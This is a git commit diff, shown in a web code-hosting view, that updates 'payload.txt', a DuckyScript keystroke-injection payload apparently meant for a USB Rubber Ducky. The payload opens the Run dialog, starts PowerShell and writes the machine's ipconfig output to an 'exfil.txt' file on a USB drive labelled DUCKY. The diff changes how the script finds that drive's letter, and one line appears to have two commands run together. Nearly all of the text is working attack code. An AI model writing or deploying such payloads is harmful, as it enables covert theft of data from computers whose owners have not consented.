Update payload.txt
parent
420a174f93
commit
a323fc3281
|
@ -54,8 +54,8 @@ DELAY 500
|
||||||
GUI r
|
GUI r
|
||||||
DELAY 300
|
DELAY 300
|
||||||
STRINGLN Powershell
|
STRINGLN Powershell
|
||||||
DELAY 1000
|
DELAY 1000DEFINE #DRIVELABEL DUCKY
|
||||||
STRINGLN ipconfig | Out-File -Filepath #DRIVELABEL:\exfil.txt -Encoding utf8
|
STRINGLN $driveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_Volume WHERE Label='#DRIVELABEL'").DriveLetter; if ($driveLetter) { ipconfig | Out-File -Filepath "$driveLetter\exfil.txt" -Encoding utf8 }
|
||||||
WAIT_FOR_STORAGE_ACTIVITY
|
WAIT_FOR_STORAGE_ACTIVITY
|
||||||
WAIT_FOR_STORAGE_INACTIVITY
|
WAIT_FOR_STORAGE_INACTIVITY
|
||||||
ALT F4
|
ALT F4
|
||||||
|
|
Loading…
Reference in New Issue